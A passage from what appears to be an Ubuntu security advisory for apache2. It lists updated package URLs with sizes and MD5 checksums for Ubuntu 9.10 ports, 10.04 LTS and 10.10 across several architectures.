    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.12-1ubuntu2.4_lpia.deb
      Size/MD5:  1291192 6d4d11afb217b49470a4710eb4566143
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.12-1ubuntu2.4_lpia.deb
      Size/MD5:    92194 44e4c307a00e68e702c52ba8d10c7984
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.12-1ubuntu2.4_lpia.deb
      Size/MD5:    90690 399761c5a6fcd2014b219e7b8cd31d32

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.12-1ubuntu2.4_powerpc.deb
      Size/MD5:   137092 417a344f112a5b13ea5f36a600018d3c
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.12-1ubuntu2.4_powerpc.deb
      Size/MD5:   138196 3e2b46cf25a41c0d4ad1af6b24407c25
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.12-1ubuntu2.4_powerpc.deb
      Size/MD5:   161418 2b41d2b09b03e8e4066194a16774fec1
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.12-1ubuntu2.4_powerpc.deb
      Size/MD5:  1390750 edcd289885e3c92f7694efa4abc6188f
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.12-1ubuntu2.4_powerpc.deb
      Size/MD5:    92754 1c97103bbb049dd7ee8b836fe26b2031
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.12-1ubuntu2.4_powerpc.deb
      Size/MD5:    91142 034979974f2a357218bf614d882cfa23

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.12-1ubuntu2.4_sparc.deb
      Size/MD5:   137088 058fccf694c50b3852c281f0fa701e66
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.12-1ubuntu2.4_sparc.deb
      Size/MD5:   138186 625a413761fd36b9bf7755cab9a97118
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.12-1ubuntu2.4_sparc.deb
      Size/MD5:   159860 a1efd79d8fba8be9477305d221e43334
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.12-1ubuntu2.4_sparc.deb
      Size/MD5:  1298622 f2256441099614d6e416338cc05c6794
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.12-1ubuntu2.4_sparc.deb
      Size/MD5:    92524 61dc9b0d61de14659665b5b2908c0df6
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.12-1ubuntu2.4_sparc.deb
      Size/MD5:    90922 a843867aac530a79cda6005ed54a4ff1

Updated packages for Ubuntu 10.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.14-5ubuntu8.4.diff.gz
      Size/MD5:   214170 04cbe3e7dbcc5b4ddd35b21d0a3c3a21
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.14-5ubuntu8.4.dsc
      Size/MD5:     2697 97667571f87fad4f3bf780660bc8c9c2
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.14.orig.tar.gz
      Size/MD5:  6684081 2c1e3c7ba00bcaa0163da7b3e66aaa1e

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-doc_2.2.14-5ubuntu8.4_all.deb
      Size/MD5:  2257806 5ee35fe75e4686cf2c07ca2182e98763

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-event_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:     2396 3495d9a0b12b11e9b84367f88154f25c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:     2420 83460dfe877ea3410b48369f4a34af98
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:     2366 e672be8888f996c88ecc89a7028e1627
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:   136256 98cb1e84d40d909d4d0ad4aca6f30de2
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:   137296 515247ff5030aa36b60adba52442c740
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:   161144 2bb237d9a4439f423f4fa114a2525a12
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-bin_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:  2730470 eab39d33b994199d36ebb957a123dbd4
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-common_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:   290016 fddb6361852490101e224a7c1f82f05c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:     1478 b7c29c953866efbc2ec4175fcf487f20
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-mpm-itk_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:     2416 9a58afd42551ead0286ed61d8d759480
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec-custom_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:    96900 bac870aae281673809371b223e98730e
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec_2.2.14-5ubuntu8.4_amd64.deb
      Size/MD5:    95280 a137d32d18872d9536e13f07ec6fd9b4

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-event_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:     2398 4970639c8f7929558a4f178918c71ed0
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:     2426 46c5fa6d2335809a08df67ff56601eb2
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:     2372 9a2309b55f8ff81d6910ba3e90768823
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:   136280 a34b804f15dd99cce4fef5d25176fb74
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:   137320 1c54433a0a33c3e3ed19201dc76e9f58
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:   159676 e2d37adb96e9617fbb1c8b969b1437da
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-bin_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:  2622444 7516dddc543f6cb5f94b68c17912410e
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-common_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:   290042 b12f37c292398c2a72251d3435ae4221
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:     1484 19ff1abb2167ccc156a684b18806c75d
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-mpm-itk_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:     2422 cb08e644167f4d921256f14350be3574
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec-custom_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:    96256 7037d8cbe08da992b954dd8c0b40d772
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec_2.2.14-5ubuntu8.4_i386.deb
      Size/MD5:    94688 4cd9bef52d2e6dc5b69e2feb22a53bb4

  armel architecture (ARM Architecture):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:     2418 7b269901e2ee8330bb9c663fd87a52f2
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:     2450 0eb9823e5732b2609b1bab4a9a015396
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:     2388 d36eeb0ff65a2ad7f77b711bd2b15536
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:   137490 fbbc19f8ec3b8e265806bbad838015f3
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:   138604 58930629457b7cbcb7bb376787cd58d1
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:   166036 11bb48cedf436f4f4165c91dd455cd0a
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:  2570184 bf5c8de7bd17f69c38f3c010aa6d0687
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:   296804 b7e72993adef3bb5ebccd01618f6497c
    http://ports.ubuntu.com/pool/main/a/apache2/apache2_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:     1484 b666a37339a59449994e13eed862dcf8
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-mpm-itk_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:     2430 b6db059708469f9a5e5ad6442b555632
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:    96048 9552f51119734d54d191de544648824e
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.14-5ubuntu8.4_armel.deb
      Size/MD5:    94420 e2ec6d54b05f732b5f6beda813050216

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:     2400 6d0d60a2ba2b0614f84c29615c2fab68
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:     2426 7b241f8cf87d2d1a2e0609d59233315f
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:     2370 7b7d53516231e64e9e33fcdb21fb79c8
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:   136286 ee325a5dadbfc853bb85833f4a9697a0
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:   137326 bafa0e2940b070741e9925d45b9929eb
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:   165972 7a162a07a604396bb869e48349987f20
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:  2765528 6433cf125eb9e0ef3d0e2f21d47a35e1
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:   290060 73c20ef9768548a99340075e5c62ad47
    http://ports.ubuntu.com/pool/main/a/apache2/apache2_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:     1482 68dd440815d96cc7c79e9b113c298432
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-mpm-itk_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:     2422 d35130d8b0d0e64f240cc3d5838ec4dd
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:    96814 acc862b8a8fd0cce9968fe096c44d5e2
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.14-5ubuntu8.4_powerpc.deb
      Size/MD5:    95158 f60b2c25b5a1b01b1bb0a2b493cd6d02

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:     2398 6929b88c9e44d507ab0e03865c1edb8e
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:     2428 bab8d175709b58469ad9bcbf6a37fa75
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:     2374 dd6508665c6085db3d481c301106b1ea
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:   136266 17359c6d663f70cc875bc132e605bbcd
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:   137304 fdadd775a849f1d509e3c06e897b16a1
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:   165934 0038d53032dd272071361e87baa6b3db
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:  2593250 834feb1137b15ed401121da6a3dde53e
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:   290046 ccb65f6f739901f563c594b6ede83d14
    http://ports.ubuntu.com/pool/main/a/apache2/apache2_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:     1484 7364939ba13e0485a429f4cb0778401f
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-mpm-itk_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:     2426 39ad9b647530c6a093f3af4e057186db
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:    96708 1d9a1e4af412fce2ef9e8d59e76ba701
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.14-5ubuntu8.4_sparc.deb
      Size/MD5:    95030 24cae3e808f72d139e8c8f9a0a1a5f38

Updated packages for Ubuntu 10.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.16-1ubuntu3.1.diff.gz
      Size/MD5:   210573 e26889953d3627e2422fec608fc80c3d
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.16-1ubuntu3.1.dsc
      Size/MD5:     2686 ea9a620794423fa14751e5cd43fa4ca5
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.16.orig.tar.gz
      Size/MD5:  6369022 7f33f2c8b213ad758c009ae46d2795ed

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-doc_2.2.16-1ubuntu3.1_all.deb
      Size/MD5:  2281132 494153ffbed2685dde1f6916f2a08cca

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-event_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:     2346 00e768131218fed520005c54e40e003d
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:     2374 3d95d9e31bea8d0806c6eec320ac15cb
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:     2318 ca7c42028becd3dc67b57e7bef8ef10a
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:   136352 9c6890b3ea07d4bdb3bf61434331eea1
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:   137404 47b6cf10e5d1d2f6694f7e66075bb78d
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:   164446 051b56eca89069afe34fa087d61c733c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-bin_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:  2708768 c39117c9b15969612466f50b447c83fb
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-common_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:   301360 1dd5f68877240b580f4170eb8899ee78
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:     1480 bf4687f34a36e2dd5fd6abeb8b4d4f95
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-mpm-itk_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:     2372 1f19a348c1d7b3ed9d6f0878b5b272e9
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec-custom_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:    63248 fe1af941aa4eb9131ccccdba0e1f1d39
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec_2.2.16-1ubuntu3.1_amd64.deb
      Size/MD5:    61608 470342447d4ac4918f1b1d085dff3145

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-event_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:     2348 08f85de3ba757debc03542b7fc8bb7f2
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-prefork_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:     2370 ddc38a5cdc523d48f3b2245d15fab0e1
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-mpm-worker_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:     2318 10262b0fe6e8f4711dcf4f78e554ce48
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-prefork-dev_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:   136346 8df092b1962d1f1b1a0fc2515ecba1ff
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-threaded-dev_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:   137398 7f456e656957af71a105b354c82da467
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2-utils_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:   162926 543ef93eca3885696733bdb701a90f11
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-bin_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:  2599636 de6c8c71455af7457b3d5aed41f6a6a1
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2.2-common_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:   301338 0e03201bef1db838eae11578c300639c
    http://security.ubuntu.com/ubuntu/pool/main/a/apache2/apache2_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:     1484 b9ab3e6acb3d599d3fe5151c99d4ed9b
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-mpm-itk_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:     2372 99101004b20ee162d8756260db08f3c6
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec-custom_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:    62616 223469805f5385cc39303d40e15fde9f
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache2/apache2-suexec_2.2.16-1ubuntu3.1_i386.deb
      Size/MD5:    61084 9bc45e0880ce5040fefe8bd69a43a336

  armel architecture (ARM Architecture):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:     2358 76401e331821ff276e7644756b27d226
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:     2386 e27b65bb92caa4de4454244ace916b5a
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:     2330 b930ca53ad10db075535a85b3c65998e
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:   137000 58a0c4cd01b9a74d6c70331910d3f675
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:   137980 f9abd743069a6a5b0d3d12b7b3f394bf
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:   171270 41c4177586990d5b0ffb6d400143dd05
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:  2597444 f39c0e92a9d29b576481f5aefa092942
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:   308998 e065288aef4c6eff945d875dc3ac0cfd
    http://ports.ubuntu.com/pool/main/a/apache2/apache2_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:     1484 a139b1e561a9e9aa5363b9c06a0b6850
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-mpm-itk_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:     2388 9ec0b59a116e500e700c196ef84afadf
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:    62568 d1354d5a2b5bc2007b7b0dfe0f7dd029
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.16-1ubuntu3.1_armel.deb
      Size/MD5:    61040 5c9f05ef22ab25d170adde8fc3ac1baa

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-event_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:     2356 e8d3ec459e0e6f561b512c43b5883261
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-prefork_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:     2376 090d1fa0b687fd98ef9c8a57d6436a46
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-mpm-worker_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:     2328 eb2755e9de3df3adfdd0df8e139f8fd7
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-prefork-dev_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:   136376 04fea44be8c57e9aac5c65692a98a33c
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-threaded-dev_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:   137430 f773f801e1b1fb3cbfbcfe4199f1c708
    http://ports.ubuntu.com/pool/main/a/apache2/apache2-utils_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:   169084 8554332e458f686edd300669e824430a
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-bin_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:  2746688 692017e3371da59f57290dd720ec513e
    http://ports.ubuntu.com/pool/main/a/apache2/apache2.2-common_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:   301376 aadf2f481ad35398288c1bf4f89f6d6e
    http://ports.ubuntu.com/pool/main/a/apache2/apache2_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:     1490 3364ae2f5f0388fb16de7d0927b0a17c
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-mpm-itk_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:     2376 09345c3706b6106802bbfa01ee2e8f52
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec-custom_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:    63140 8163a71079cbc6f0aa8e004ddf082b2d
    http://ports.ubuntu.com/pool/universe/a/apache2/apache2-suexec_2.2.16-1ubuntu3.1_powerpc.deb
      Size/MD5:    61554 3d5ddc7250edc6c9d36b8323b8bb53c9